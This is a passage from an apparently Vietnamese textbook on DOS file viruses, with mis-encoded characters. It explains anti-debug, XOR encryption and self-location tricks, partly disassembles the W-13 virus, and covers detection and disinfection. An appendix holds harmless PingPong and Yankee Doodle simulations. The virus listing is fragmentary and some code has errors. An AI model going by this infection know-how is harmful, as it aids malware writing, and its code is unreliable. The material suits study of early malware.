b. G©y nhiÔu:  NÕu vÊn ®Ò ngôy trang chØ ®¬n gi¶n lµ nh»m gi¶i quyÕt hiÖn t−îng t¨ng kÝch 
th−íc, th× vÊn ®Ò g©y nhiÔu l¹i cã tÇm quan träng trong viÖc chèng nh÷ng phÇn mÒm antivirus 
cã ý ®Þnh “trôc xuÊt“ virus ra khái file. 
Th«ng th−êng, c¸c nhµ ch÷a trÞ virus ph¶i n¾m ®−îc virus cÊt dÊu d÷ liÖu cña file ®èi t−îng ë 
®©u råi kh«i phôc l¹i. §Ó lµm ®iÒu nµy, ®«i khi hä ph¶i tham kh¶o ch−¬ng tr×nh virus vµ còng 
dÔ theo dâi nÕu kÝch th−íc ch−¬ng tr×nh qu¸ nhá. KÜ thuËt g©y nhiÔu sÏ kh«ng cho hä cã kh¶ 
n¨ng ®Ó lµm viÖc nµy, hoÆc lµm trong ®iÒu kiÖn cùc k× khã kh¨n v× logic ch−¬ng tr×nh. Th«ng 
th−êng, virus sÏ thùc hiÖn : 
  + Anti-debug: C¸c th¶o ch−¬ng viªn th−êng dïng c¸c phÇn mÒm debug (nh− 
DEBUG, D86, Turbo Debugger .....) ®Ó theo dâi ch−¬ng tr×nh virus. C¸c ch−¬ng tr×nh nµy thùc 
chÊt ph¶i dïng c¸c ng¾t 1 vµ 3 ®Ó thi hµnh tõng b−íc mét. TÊt nhiªn ®iÒu nµy sÏ kh«ng cßn 
thùc hiÖn ®−îc n÷a v× virus còng sÏ chi phèi ng¾t 1 vµ 3, bÊt k× sù x©m ph¹m vµo ®Òn ng¾t nµy 
sÏ dÉn ®Õn nh÷ng kÕt  côc kh«ng l−êng tr−íc ®−îc. 
  + .EXE header gi¶:  Khi kiÓm tra virus trªn file .EXE, ®iÒu b¾t buéc lµ th¶o ch−¬ng 
viªn ph¶i ®äc b¶ng .EXE header vµo vµ ®Þnh ®Çu vµo file, tõ ®ã míi ph¸t hiÖn ra virus. Nay 
®iÒu nµy còng kh«ng cßn nh− tr−íc n÷a. ThËt lµ kh«ng may nÕu hä ®äc b¶ng tham sè nµy 
b»ng c¸ch më file vµ ®äc, ch−¬ng tr×nh virus ®� nhanh tay h¬n khi ph¸t hiÖn ra ý ®å nµy vµ 
thay vµo ®ã mét b¶ng tham sè b×nh th−êng th× mäi chuyÖn vÉn b×nh th−êng, nghÜa lµ “t×nh 
h×nh ë file v« cïng yªn tÜnh“. 
  + M� hãa ch−¬ng tr×nh:  Mét h−íng kh¸c còng ®−îc nhiÒu F - virus ¸p dông nh»m 
môc ®Ých chèng debug b»ng c¸ch m� hãa phÇn lín ch−¬ng tr×nh virus. ChØ khi nµo vµo vïng 
nhí, phÇn ch−¬ng tr×nh nµy míi ®−îc m� hãa ng−îc l¹i. KÜ thuËt m� hãa th−êng dïng chØ lµ 
sö dông kÕt qu¶ cña lÖnh XOR. Mét virus thuéc hµng l�o lµng lµ 1701 ®� sö dông kÜ thuËt nµy. 
Tuy nhiªn, mét lÇn m� hãa còng kh«ng lµm c¸c nhµ chèng virus n¶n lßng nªn khuynh h−íng 
cña virus hiÖn nay lµ m� hãa thµnh tõng tÇng, tÇng nµy gi¶i m� cho t©ng kÕ nã vµ khãa cña 
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mçi phÇn tïy thuéc vµo thêi gian l©y (nghÜa lµ víi c¸c file ®−îc lÊy ë nh÷ng thêi ®iÓm kh¸c 
nhau, phÇn m� còng kh¸c nhau. 
 6/ C¸c kÜ thuËt kh¸c. 

a. KÜ thuËt ®Þnh vÞ ch−¬ng tr×nh:  §èi víi nh÷ng F - virus, ¸p dông kÜ thuËt l©y chÌn ®Çu 
kh«ng gÆp nh÷ng r¾c rèi nµy (nh−ng nh−îc ®iÓm cña nã lµ chØ l©y ®−îc trªn file COM). 
Nh−ng nh÷ng F - virus dïng ph−¬ng ph¸p Append file th× l¹i gÆp r¾c rèi do viÖc ®Þnh vÞ nh÷ng 
biÕn néi t¹i trong ch−¬ng tr×nh virus v× râ rµng offset cña nã kh«ng x¸c ®Þnh mét c¸ch tuyÖt 
®èi mµ phô thuéc vµo kÝch th−íc file nã g¾n vµo. C¸c c¸ch ®Ó gi¶i quyÕt tr−êng hîp nµy lµ: 
  + §Þnh vÞ t−¬ng ®èi:  Ch−¬ng tr×nh virus sÏ ®Þnh vÞ offset cña nã trong mäi file theo 
®Çu vµo virus h¬n lµ tõ PSP trë ®i. NghÜa lµ mäi t¸c vô truy xuÊt biÕn néi t¹i còng ®−îc tÝnh tõ 
®Çu ch−¬ng tr×nh virus. §iÒu nµy l¹i g©y lóng tóng cho c¸c nhµ s¶n xuÊt phÇn mÒm mét khi F - 
virus lo¹i nµy xuÊt hiÖn. Th«ng th−êng ®Ó ®Þnh vÞ ®Çu vµo ch−¬ng tr×nh virus, virus sÏ ®Èy 
offset kÕ tiÕp vµo trong Stack råi lÊy nã ra b»ng mét lÖnh POP, ®¬n gi¶n lÊy gi¸ trÞ nµy vµo 
trong mét thanh ghi cho phÐp tham chiÕu gi¸n tiÕp (SI, DI, BX... ch¼ng h¹n), lóc nµy mäi tham 
chiÕu c¸c biÕn néi t¹i sÏ theo thanh ghi nµy. 
 §o¹n m� sau minh häa c¸ch thøc nµy. 
; Entry cña ch−¬ng tr×nh virus 
 entry: 
  call  Next      ; §Èy offset nh�n next vµo Stack 
 Next: 
  pop  SI      ; LÊy ng−îc ra b»ng lÖnh POP 
  sub  SI, 3      ; V× lªnh CALL chiÕm 3 byte 
          ; nªn lóc nµy SI trá ®Õn ®Çu ch−¬ng 
  ........        ; tr×nh virus. 
  mov  word ptr [SI+100h]   ; Tham chiÕu biÕn néi t¹i 
  ........ 
 
Song ph−¬ng ph¸p nµy l¹i lµm cho mét sè nhµ Hacker khã chÞu khi viÖc ®Þnh vÞ t−¬ng ®èi nµy 
“chiÕm“ mÊt mét thanh ghi. V× vËy, mét ®Ò nghÞ kh¸c ®−îc nªu ra nh»m kh¾c phôc tr−êng hîp 
nµy. 
  + §Þnh vÞ tuyÖt ®èi b»ng c¸ch thay ®æi CS:IP :  Sau khi ®−îc trao quyÒn ®iÒu khiÓn, 
ch−¬ng tr×nh virus cã thÓ chiÕm vµ l−u tró mét vïng nhí, chuyÓn ch−¬ng tr×nh sang vïng nµy 
theo offset tïy chän (th−êng lµ 0, 0100h), råi chuyÓn quyÒn ®iÒu khiÓn sang vïng míi t¹o nµy. 
b. KÜ thuËt lÊy ng¾t:  Kh«ng nh− B - virus, sè l−îng Ýt vµ còng cã Ýt khi tån t¹i qu¸ nhiÒu lo¹i 
trong vïng nhí, F - virus cã thÓ tån t¹i ®ång thêi nhiÒu lo¹i trong vïng nhí. Vµ ch¾n h¼n ®éc 
gi¶ ai còng biÕt r»ng F - virus sÏ chi phèi ng¾t 21h. Mét quy luËt vµng trong m¸y tÝnh: quyÒn 
lîi thuéc vÒ nh÷ng phÇn mÒm nµo chi phèi m¸y tr−íc tiªn, nh÷ng ch−¬ng tr×nh virus lªn sau sÏ 
kh«ng cßn c¸i quyÒn −u tiªn Êy n÷a. MÆt kh¸c, mét phÇn mÒm chèng virus d¹ng th−êng tró 
còng cã thÓ lªn tr−íc hÕt vµ chi phèi ng¾t 21h, bÊt kú mét lêi gäi më/®äc/ghi file ®Òu ®−îc nã 
kiÓm tra chÆt chÏ (mét sè phÇn mÒm chèng virus trong n−íc còng ¸p dông kiÓu nµy). 
Lóc nµy, vÊn ®Ò sèng cßn ®Æt ra lµ lµm sao chiÕm cho ®−îc ng¾t 21h chuÈn cña DOS. Ai n¾m 
®−îc ®iÒu nµy ®Çu tiªn, ng−êi ®ã sÏ cã toµn quyÒn víi c¸c lêi gäi ng¾t tiÕp sau ®ã mµ kh«ng 
mét ai kiÓm so¸t næi. 
Cã mét vµi c¸ch ®Ó lÊy ®−îc ng¾t 21h chuÈn nµy, trong ®ã cã mét c¸ch rÊt th«ng minh cña 
virus Yankee Daodle:  nã ®� cã ®−îc ng¾t 21h chuÈn b»ng c¸ch th«ng qua ng¾t 1 vµ 3, hay tù 
®Þnh vÞ tuyÖt ®èi nh− ë mét phÇn mÒm chèng virus. Tuy nhiªn, nh÷ng c¸ch cã ®−îc vÉn kh«ng 
thuyÕt phôc ®−îc nh÷ng nhµ lÝ thuyÕt v× trong thùc tÕ kh¶ n¨ng kh«ng ®¹t ®−îc cã thÓ rÊt cao. 
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§ã lµ toµn bé nh÷ng kÜ thuËt mµ F - virus hay dïng, tuy kh«ng b¾t buéc mäi B - virus tu©n 
theo, nh−ng hÇu hÕt virus hiÖn nay, trong còng nh− ngoµi n−íc ®Òu ¸p dông. 
 
 

VI - Ph©n tÝch F - virus. 

ViÖc ph©n tÝch kh«ng nh»m ®−a ra nh÷ng virus cã kÜ thuËt viÕt phøc t¹p hay dïng nh÷ng thñ 
thuËt ®Ó chèng debug,,, mµ ë ®©y t«i chØ chän virus cã c¸ch viÕt ®¬n gi¶n, ng¾n gän, nh»m 
môc ®Ých minh häa vµi kÜ thuËt then chèt. 

øng víi hai lo¹i F - virus chóng ta sÏ lÇn l−ît ph©n tÝch hai virus ®−îc nhiÒu ng−êi biÕt ®Õn W-
13 (cßn ®−îc biÕt d−íi tªn 534), mét trong nh÷ng virus ®Çu tiªn xuÊt hiÖn t¹i thµnh phè vµ 
Datalock ver 1.00 cã søc l©y lan rÊt m¹nh. Hai virus nµy ®−îc chän v× lÝ do ch−¬ng tr×nh cña 
chóng ®¬n gi¶n, kh«ng cã Anti-debug. 
 1/ TF - virus: W-13. 

a. M« t¶: 

  + KÝch th−íc 534 byte. 
  + §èi t−îng: chØ nh÷ng fiel d¹ng .COM trong th− môc hiÖn hµnh. 
  + C¸ch ®Þnh vÞ t−¬ng ®èi theo ®Çu ch−¬ng tr×nh virus. 
  + Ph¸ ho¹i: ®æi th¸nh t¹o file thµnh th¸ng 13. 
  + File ®èi t−îng lµ mét 3 lÖnh NOP, tËn cïng lµ lÖnh INT 20 
b. Ph©n tÝch:  §o¹n ch−¬ng tr×nh ®−îc dÞch b»ng Source.exe. 

 CodeSegA  seg 
  assume CS: CodeSegA, DS:CodeSegA 
  org  100h 
 534  proc  far 
 Start: 
  jmp  loc1 
  db  0CDh, 20h    ; M� lÖnh cña file ®èi t−îng  
  db  507 dup (0) 
 Loc1: 
  push  AX 
  mov  SI, 465h     ; SI trá ®Õn b¶ng tham sè néi t¹i 
  mov  DX, SI     ; InternalBuffer 
  add  SI 
  cld   
  mov  DI, 100h 
  rep  movsb     ; Tr¶ l¹i 3 byte m� cho ch−¬ng tr×nh 
  mov  DI, DX 
  mov  AH, 30h     ; LÊy version cña DOS 
  int  21h 
  cmp  AL, 0     ; ? sai version 
  jne  loc2 
  jmp  loc16 
 loc2: 
  mov  DX, 2Ch     ; §Æt l¹i DTA vµo buffer 
  add  DX, DI 
  mov  BX, DX     ; BX= InternalBuffer 
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  mov  AH, 1Ah     ; +2Ch= DTABuffer 
  int  21h 
  mov  BP, 0 
  mov  DX, DI 
  add  DX, 7     ; Trá DS:DX vµo TypeFile 
 loc3: 
  mov  CX, 3 
  mov  AH, 4Eh     ; FindFisrt 
  int  21h 
  jmp  loc5 
 loc4: 
  mov  AH, 4Fh 
  int  20h 
 loc5: 
 
 

VII - Phßng chèng f - virus. 

 1/ Ph¸t hiÖn: Mét ®Üa hay file bÞ nhiÔm virus ph¶i ®−îc nhËn diÖn xem lo¹i virus nµo vµ 
t−¬ng øng sÏ cã c¸ch ch÷a trÞ. ViÖc ph¸t hiÖn ®Çu tiªn ®−îc tiÕn hµnh trong vïng nhí (®Ó ph¸t 
hiÖn RF - Virus) råi sau ®ã míi b¾t ®Çu trªn ®Üa (cho c¶ hai lo¹i virus). 
a. Trong vïng nhí:  V« cïng cÇn thiÕt v× nã cho biÕt b−íc ch÷a trÞ tiÕp theo cã thÓ ®−îc thùc 
hiÖn hay kh«ng. 
§èi víi 1 sè lo¹i virus, viÖc më file, t×m file trªn ®Üa ®Òu bÞ l©y vµ do ®ã mét phÇn mÒm 
Antivius l¹i gióp c¬ héi cho virus l©y lan. ViÖc ph¸t hiÖn cã thÓ b»ng nhiÒu c¸ch: 
  + Ph¸t hiÖn chªnh lÖch vïng nhí cao:  do lo¹i virus t¸ch mét vïng bé nhí ra khái tÇm 
kiÓm so¸t cña DOS, sù chªnh lÖch sÏ xuÊt hiÖn gi÷a vïng nhí do BIOS qu¶n lÝ vµ vïng nhí do 
DOS qu¶n lÝ. Tuy nhiªn, sù chªnh lÖch nµy còng kh«ng cã nghÜa lµ m¸y ®� bÞ nhiÔm mµ cÇn 
ph¶i thùc hiÖn thªm mét b−íc tiÕp theo: Dß t×m ®o¹n m�: mçi progvi ®Òu cã ®o¹n m� ®Æc 
tr−ng, ch−¬ng tr×nh chèng virus sÏ tiÕn hµnh dß c¸c ®o¹n m� virus tõ vïng nhí thÊp lªn vïng 
nhí cao. Mäi ph¸t hiÖn ®−a ®Õn kÕt qu¶ cã virus, song ph−¬ng ph¸p nµy tá ra kh«ng hiÖu 
nghiÖm v× nã chØ ph¸t hiÖn nh÷ng virus ®� biÕt, mÆt kh¸c tån t¹i mét ®o¹n d÷ liÖu “trïng“ víi 
®o¹n m� progvi (lµ d÷ liÖu mét phÇn mÒm diÖt virus kh¸c ®−îc t¶i lªn vïng nhí tr−íc ®ã 
ch¼ng h¹n) sÏ dÉn ®Õn sai lÇm. 
b. Trªn file:  §Ó x¸c ®Þnh mét file cã bÞ nhiÔm hay kh«ng, cã thÓ dïng mét trong nh÷ng c¸ch 
sau: 
  + KÝch th−íc file sau lÖnh nh¶y: Mçi mét progvi ®Òu cã kÝch th−íc chuÈn cña m×nh. 
Ch−¬ng tr×nh virus sÏ ®Þnh vÞ ®Çu vµo nÕu ®Çu file lµ mét lÖnh nh¶y, so s¸nh ®Çu vµo nµy víi 
c¸c kÝch th−íc cña file ®Ó suy ra file bÞ nhiÔm hay ch−a. §èi víi file .EXE cã thÓ ®Þnh vÞ ®Çu 
vµo tõ b¶ng tham sè .EXE header, tõ ®ã suy ra kÝch th−íc sau ®ã. 
Ph−¬ng ph¸p nµy kh«ng hiÖu nghiÖm vµ tá ra kÐm chÝnh x¸c nÕu ta biÕt r»ng hiÖn nay, c¸c 
virus trïng kÝch th−íc rÊt nhiÒu. MÆt kh¸c, ®©u ai cÊm mét ch−¬ng tr×nh cã kho¶ng c¸ch sau 
lÖnh JMP ®Õn cuèi file b»ng kÝch th−íc virus. Do lçi nµy, hiÖn nay ph−¬ng ph¸p nµy kh«ng 
®−îc dïng n÷a, mÆc dï virus cßn dïng do tèc ®é nhanh. 
  + Dß t×m ®o¹n m� Progvi: T−¬ng tù nh− trong vïng nhí vµ tÊt nhiªn còng gÆp lçi nÕu 
dß ph¶i mét file chèng virus kh¸c, kÓ c¶ chÝnh nã ch¼ng h¹n. 

 2/ Ch÷a trÞ: ViÖc ch÷a trÞ file ®¬n gi¶n h¬n viÖc ch÷a trÞ ®Üa. ChØ ®¬n gi¶n lµ tr¶ l¹i d÷ 
liÖu cña ch−¬ng tr×nh ®èi t−îng ®� bÞ virus chiÕm gi÷ vµ c¾t progvi ra khái file ®èi t−îng. 
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a. §èi víi c¸c file d¹ng COM/BIN:   

  + NÕu d¹ng Appenfzd file: ChØ ®¬n gi¶n ®Þnh vÞ vµ tr¶ l¹i c¸c byte ®Çu bÞ virus chiÕm, 
dêi con trá ®Õn ®Çu vµo progvi råi c¾t progvi ra khái file. 
  + NÕu d¹ng chÌn ®Çu:  Ph¶i t¶i toµn bé file vµo vïng nhí råi ghi l¹i vµo ®Üa víi chØ 
®Þnh ®Çu vµo file b»ng ®Þa chØ buffer cò céng víi kÝch th−íc ch−¬ng tr×nh virus. 
b. §èi víi file d¹ng .EXE:  NÕu virus l−u gi÷ .EXE header cò cña file th× chØ viÖc kh«i phôc 
®¬n gi¶n b»ng c¸ch tr¶ l¹i .EXE header cò, ng−îc l¹i, ph¶i ®Þnh vÞ c¸c yÕu tè cña b¶ng .EXE 
header. Mét ®iÒu ®¸ng nãi lµ trong qu¸ tr×nh kh«i phôc file .EXE, kÝch th−íc cò cña nã cã thÓ 
kh«ng ®−îc tr¶ l¹i ®óng v× mét ®iÒu ®¬n gi¶n:  trong qu¸ tr×nh ®Þnh vÞ cho CS, b¾t buéc kÝch 
th−íc file ph¶i ®−îc lµm trßn thµnh ®o¹n, chÝnh v× ®iÒu nµy, c¸c file .EXE ®−îc kh«i phôc ®Òu 
cã kÝch th−íc chia hÕt cho 16 vµ l−îng chªnh lÖch kho¶ng 15 byte (nÕu virus kh«ng l−u gi÷ 
gi¸ trÞ kÝch th−íc file cò). 

 3/ Phßng chèng: HiÖn nay, ch−a cã phÇn mÒm nµo tá ra hiÖu qu¶ trong viÖc phßng chèng 
F - virus, mÆc dï cã qu¸ nhiÒu phÇn mÒm chèng virus trªn thÞ tr−ßng. Cã thÓ kÓ ra c¸ch chèng 
virus sau : 
  + Th−êng tró vµ dß t×m:  phÇn mÒm Antivirus sÏ th−êng tró vµ bÊt k× mét file ®−îc 
thi hµnh b»ng chøc n¨ng 4B sÏ ®−îc nã kiÓm tra xem cã bÞ nhiÔm virus kh«ng tr−íc khi cho 
thi hµnh. C¸ch nµy kh«ng hiÖu qu¶ nÕu cã mét virus míi xuÊt hiÖn vµ sè l−îng virus cµng t¨ng 
sÏ lµm t¨ng thêi gian kiÓm tra. 
  + Th−êng tró vµ ph¸t hiÖn virus trong vïng nhí: PhÇn mÒm Antivirus sÏ th−êng tró 
vµ chi phèi c¸c ng¾t cña DOS, c¸c t¸c vô gäi DOS hµng lo¹t ®Ó më file, ®æi thuéc tÝnh, lÊy vµ 
®Æt l¹i ngµy giê cËp nhËt file sÏ ®−îc ghi nhËn vµ th«ng b¸o sù cã mÆt cña virus. Tuy vËy, ®èi 
víi lo¹i virus tinh kh«n, viÖc lÊy ®Þa chØ gèc cña DOS lµ ®iÒu dÔ dµng nªn kh«ng thÓ kiÓm so¸t 
®−îc c¸c hµnh ®éng tiÕp theo cña virus. 
 4/ Kh«i phôc hËu qu¶: Nh÷ng ph¸ ho¹i cña F - virus ®«i khi còng kh¸ tµn nhÉn nh− xãa 
FAT, ROOT, format ... ë ®©y, khi gÆp hËu qu¶ ®� råi cña virus, viÖc tèt nhÊt cÇn lµm lµ ®õng 
véi v� format l¹i ®Üa, v× sè virus format ®Üa kh«ng ph¶i lµ nhiÒu, mµ ®«i khi chØ lµ xãa mét 
phÇn hay cïng l¾m format mét lÇn ®Üa. PhÇn cßn l¹i vÉn cã thÓ kh«i phôc l¹i b»ng mét sè phÇn 
mÒm chuyªn dông nh− Fixdisk cña Pctool, NDD cña Norton Untilities. NÕu vÉn kh«ng söa 
ch÷a ®−îc vµ th«ng tin trªn ®Üa cã gi¸ trÞ th× nªn mêi mét nhµ chèng virus ®Õn tr−íc khi cã 
quyÕt ®Þnh cuèi cïng lµ format ®Üa. 
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Phô Lôc 
 
 

Mét Sè Ch−¬ng Tr×nh M« Pháng 

 

1/ §o¹n ch−¬ng tr×nh m« pháng virus PingPong 

;T¹o mét tr¸i ball trªn mµn h×nh. Nã sÏ chuyÓn ®éng tu©n theo ®óng c¸c ®Þnh  
;luËt ph¶n x¹. Kh«ng ¶nh h−ëng g× ®Õn ho¹t ®éng cña m¸y. 
Code  Segment byte public 
   Assume CS: code. DS: code 
   org  100h 
main  Proc   near 
   jmp  begin 
 main  endp 
 int8  proc  near        
push  DS      ;CÊt thanh ghi 
push  AX 
push  BX 
push  CX 
push  DX 
;KiÓm tra xem mode mµn h×nh cã thay ®æi g× kh«ng 
push  CS 
pop  DS 
mov  AH, 0Fh 
int  10h      ;LÊy mode video 
mov  BL, AL 
cmp  BX, word ptr DispMode  ;? Thay mode 
je  cont1     
;CËp nhËt tham sè míi nÕu cã thay ®æi 
mov  word ptr DispMode, BX 
dec  AH 
mov  byte ptr MaxColumn, AH 
mov  AH, 1 
cmp  BL, 7 
jne  cont2 
dec  AH 
 Cont2: 
cmp  BL, 4 
jae  cont3 
dec  AH 
 Cont3: 
mov  byte ptr TextGraph, AH 
mov  word ptr CurPos, 101h 
mov  word ptr Direction, 101h 



 94 

mov  AH, 3     ;§äc vÞ trÝ con trá hiÖn thêi 
int  10h 
push  DX 
mov  DX, word ptr CurPos 
jmp  cont4 
 Cont1: 
mov  AH, 3     ;§äc vÞ trÝ con trá hiÖn thêi 
int  10h 
push  DX      ;CÊt vÞ trÝ nµy vµo Stack 
mov  AH, 2     ;§Æt l¹i vÞ trÝ con trá 
mov  DX, word ptr CurPos   ;Tíi vÞ trÝ Ball 
int  10h 
mov  AX, word ptr CharAtrib  ;Mode mµn h×nh hiÖn thêi lµ 
cmp  byte ptr TextGraph, 1   ;Graph hay Text 
jne  cont5     ;NÕu lµ Graph sÏ dïng XOR 
mov  AX, 8307h    ; character bite 
 cont5: 
mov  BL, AH 
mov  CX, 1     ;Tr¶ l¹i kÝ tù cò t¹i vÞ trÝ 
mov  AH, 9     ;Ball ®� chiÕm 
int  10h 
 cont4:        ;TÝnh to¸n h−íng nÈy cña ball 
mov  CX, word ptr Direction 
cmp  DH, 0 
jne  cont6 
xor  CH, 0FFh 
inc  CH 
 Cont6: 
cmp  DH, 10h 
jne  Cont7 
xor  CH, 0FFh 
inc  CH  
 Cont7: 
cmp  DL, 0 
jne  cont8 
xor  CL, 0FFh 
inc  CL 
 cont8: 
cmp  DL, byte ptr MaxColumn 
jne  cont9 
xor  CL, 0FFh 
inc  CL 
 cont9: 
 cmp  CX, word ptr Direction 
jne  cont11 
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mov  AX, word ptr CharAttrib 
and  AL, 7 
cmp  AL, 3 
jne  cont12 
xor  CH, 0FFh 
inc  CH 
 cont12: 
cmp  AL, 5 
jne  cont11 
xor  CL, 0FFh 
inc  CL 
 cont11: 
add  DL, CL 
add  DH, CH 
mov  word ptr Direction, CX 
mov  word ptr CurPos, DX 
mov  AH, 2     ;§Æt con trá vµo vÞ trÝ míi,  
int  10h      ;®äc kÝ tù sÏ bÞ Ball thay thÕ 
mov  AH, 8     ;KÝ tù nµy sÏ ®−îc tr¶ l¹i trong k× 
int  10h      ;gäi ng¾t tiÕp theo 
mov  word ptr CharAttrib, AX 
mov  BL, AH 
cmp  byte ptr TextGraph, 1 
jne  cont13 
mov  BL, 83h 
cont13:         ;In Ball ra mµn h×nh t¹i vÞ trÝ 
mov  CX, 1     ; míi, nÕu mµn h×nh ë chÕ 
mov  AX, 0907h    ;®é Graphic, kÝ tù hiÖn thêi 
int  10h      ;®−îc XOR charactor bits 
pop  DX 
mov  AH, 2     ;§Æt con trá l¹i vÞ trÝ cò tr−íc 
int  10h      ;khi gäi ng¾t b»ng c¸CH lÊy l¹i  
pop  DX      ;trong Stack 
pop  CX 
pop  AX 
pop  DS 
 cont14: 
jmp  far  0000:0000 
 int8 endp 
CharAttrib  dw  0 
CurPos  dw  101h 
Direction  dw  101h 
TextGraph db  0FFh 
DispMode  db  0FFh 
PageActive db  0FFh 
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MaxColumn db  0 
 install  proc near 
 begin: 
mov  AX, 3508h    ;LÊy ®Þa chØ ng¾t 8 
int  21h 
mov  word ptr [cont14+1], BX  ;CÊt ®Þa chØ nµy 
mov  word ptr [cont14+3], ES 
mov  DX, offset int8    ;Thay ng¾t 8 
mov  AX, 2508h 
int  21h 
mov  DX, offset begin   ;Th−êng tró b»ng ng¾t 27h 
int  27h 
 install endp 
  code  ends 
  end  main 
 

 2/ §o¹n ch−¬ng tr×nh m« pháng Yankee Doodle virus. 

;LËp tr×nh ra loa - cho phÐp ch¬i bµi Yankee Doodle 
;Kh«ng ¶nh h−ëng g× ®Õn ho¹t ®éng cña m¸y 
code  segment  byte  public 
   assume  CS: code, DS: code 
   org   100h 
 main  proc   near 
   jmp  begin 
 main  endp 
 newint1C proc near 
pushf 
push  AX 
push  BX 
push  DS 
push  ES 
push  CS 
push  DS 
cmp  byte ptr active, 1   ;§� active ch−a, nÕu råi sÏ kh«ng active n÷a 
jne  exit       
cmp  byte ptr active, 0   ;§� b¾t ®Çu ch¬i ch−a, nÕu råi 
jne  cont3     ;sÏ kh«ng reset l¹i 
;PhÇn nµy reset c¸c buffer chøa Note vµ Delay 
mov  word ptr beginMusic, offset music 
mov  word ptr beginDelay, offset delay 
mov  byte ptr active, 1   ;§Æt cê b¸o ®� reset 
 cont3: 
cmp  byte ptr cont, 0    ;? Delay mét note ®� hÕt ch−a, nÕu 
je  cont1     ;kh«ng sÏ ®Õm b»ng c¸ch gi¶m 1®¬n vÞ 
dec  byte ptr count     
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jmp  exit 
 coun1: 
;PhÇn nµy ch¬i mét note b»ng c¸ch lÊy ra mét note trong bufferBeginMusic  
;vµ thêi gian trong buffer beginDelay, thêi gian nµy sÏ ®−îc ®Õm trong biÕn Count 
mov  BX, BeginMusic 
cmp  DS: word ptr [BX], -1   ;Cuèi buffer ch−a 
jne  count2 
in  AL, 061h     ;T¾t loa b»ng c¸ch t¾t bit 0 vµ 1 
and  AL, 0FCh 
out  61h, AL 
mov  byte ptr active, 0 
jmp  exit 
 cont2:        ;LËp tr×nh cho kªnh 2 cña 8253 
mov  AL, 0B6h 
out  43h, AL 
mov  AX, DS:[BX] 
out  42h, AL 
mov  AL, AH 
out  42h, AL 
in  AL, 61h 
or  AL, 3 
out  61h, AL 
add  word ptr BeginMusic, 2 
mov  BX, BeginDelay 
mov  AL, byte ptr DS:[BX] 
dec  AL 
mov  count, AL 
inc  word ptr BeginDelay 
 exit: 
pop  ES 
pop  DS 
pop  BX 
pop  AX 
popf 
jmp  CS: dword ptr int1C 
newint1C  endp 
 int1c  dw  0 
 music 
db 0C7h, 11h, 0C7h, 11h, 0E6h, 0Fh, 28h, 0Eh, 0C7h, 11h, 28h, 0Eh, 0E6h, 0Fh, 04Ch, 17h        
db 0C7h, 11h, 0C7h, 11h, 0E6h, 0Fh, 28h, 0Eh, 0C7h, 11h, 0C7h, 11h, 0C7h, 11h, 0C7h, 
11h      
db 0E6h, 0Fh, 28h, 0Eh, 59h, 0DH, 28h, 0Eh, 0E6h, 0Fh, 0C7h, 11h, 0Efh, 12h, 0C4h, 17h         
db 02Ch, 15h, 0Efh, 12h, 0C7h, 11h, 0C7h, 11h, 02Ch, 15h, 0Efh, 12h, 02Ch, 15h, 0C5h, 1Ah     
db 02Ch, 15h, 0Efh, 12h, 0C7h, 11h, 02Ch, 15h, 0C4h, 17h, 02Ch, 15h, 0C4h, 17h, 0C5h, 
1Ah   
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db 67h, 1Ch, 0C5h, 1AH, 0C4h, 17h, 2Ch, 15h, 0EFh, 12h, 2Ch, 15h, 0C5h, 1Ah, 2Ch, 15h        
db 0EFh, 12h, 0C7h, 11h, 2Ch, 15h, C4h, 17h, C7h, 11h, 0EFh, 12h, 0E5h, 0Fh, 0C7h, 11h          
db 0C7h, 11h, 0FFh, 0FFh 
 delay 
db 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 9h, 9h, 5h, 5h 
db 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 9h, 9h, 5h, 5h, 5h, 5h 
db 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h 
db 5h, 5h, 6h, 5h, 5h, 5h, 5h, 9h, 9h 
 beginMusic  dw offset music 
 beginDelay  dw offset delay 
 active   db  1 
 active1   db  0 
 count   db  0 
 install  proc near 
 begin: 
AX, 351Ch    ;ChiÕm ng¾t 1Ch 
int  21h 
mov  DS: word ptr int1C, BX 
mov  DS: word ptr [int1C+2], ES 
lea  DX, NewInt1C    ;Thay ®Þa chØ ng¾t 1Ch míi 
mov  AX, 251Ch 
int  21h 
lea  DX, begin 
int  27h      ;Th−êng tró b»ng ng¾t 27h 
 install endp 
 code  ends 
    end main 
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